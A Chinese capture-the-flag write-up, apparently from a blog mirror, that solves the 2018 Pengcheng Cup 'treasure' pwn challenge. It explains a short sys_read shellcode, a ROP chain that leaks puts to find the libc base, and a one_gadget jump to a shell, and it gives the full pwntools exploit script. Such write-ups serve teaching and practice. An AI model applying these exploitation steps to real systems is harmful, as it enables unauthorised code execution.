zoukankan      html  css  js  c++  java
  • 鹏城杯_2018_treasure

    鹏城杯_2018_treasure

    首先检查一下保护:

    image-20200516114756313

    IDA分析

    image-20200516155538142

    我们先来看看settreasure()函数

    image-20200516155621304

    申请了两个内存空间,并往sea中复制了shellcode

    看看这个shellcode,不知道干嘛的

    image-20200516155725782

    我们再来看看第二个函数

    image-20200516155854113

    读入一个长度小于等于9的shellcode,和我之前做的铁人三项(第五赛区)_2018_seven很像。

    构造sys_read注入我们的shellcode

    shellcode = asm('push rsp;pop rsi;mov rdx,r12;syscall;ret')
    
    #sys_read注入以下的ROP
    rop = p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.plt['puts'])+ p64(0x4009BA)#treasure()
    

    之后再来一次ret2one_gadget ,感觉跟第一个函数没啥关系。

    from pwn import *
    context.log_level = 'debug'
    context(os='linux',arch='amd64')
    p = process('./2018_treasure')
    elf = ELF('./2018_treasure')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
    #gdb.attach(p,'b *0x00400AB6')
    
    p.sendlineafter(':','A')
    
    shellcode = asm('push rsp;pop rsi;mov rdx,r12;syscall;ret')
    p.sendlineafter('start!!!!',shellcode)
    
    
    pop_rdi_ret = 0x0000000000400b83
    
    pause()
    rop = p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.plt['puts'])+ p64(0x4009BA)
    p.send(rop)
    puts_addr = u64(p.recv(6).ljust(8,'x00'))
    libc_base = puts_addr - libc.symbols['puts']
    print 'libc_base: '+hex(libc_base)
    one = [0x4f322,0x4f2c5,0x10a38c]
    one_gadget = libc_base +0x4f322
    
    
    ret = 0x00000000004006a9
    
    p.sendlineafter(':','A')
    shellcode = asm('push rsp;pop rsi;mov rdx,r12;syscall;ret')
    p.sendlineafter('start!!!!',shellcode)
    pause()
    p.send(p64(ret)+p64(one_gadget))
    
    
    p.interactive()
    
    
  • 相关阅读:
    ①---Java开发环境配置
    1.java的基础和数据类型
    0、原生jdbc工厂类
    spring中使用quartz动态添加定时任务执行sql
    app前端代码打包步骤
    less的解析笔记
    转:玩转HTML5移动页面(动效篇)
    HTML5属性备忘单
    玩转git和github
    js基础----数组
  • 原文地址:https://www.cnblogs.com/Rookle/p/12900913.html
Copyright © 2011-2022 走看看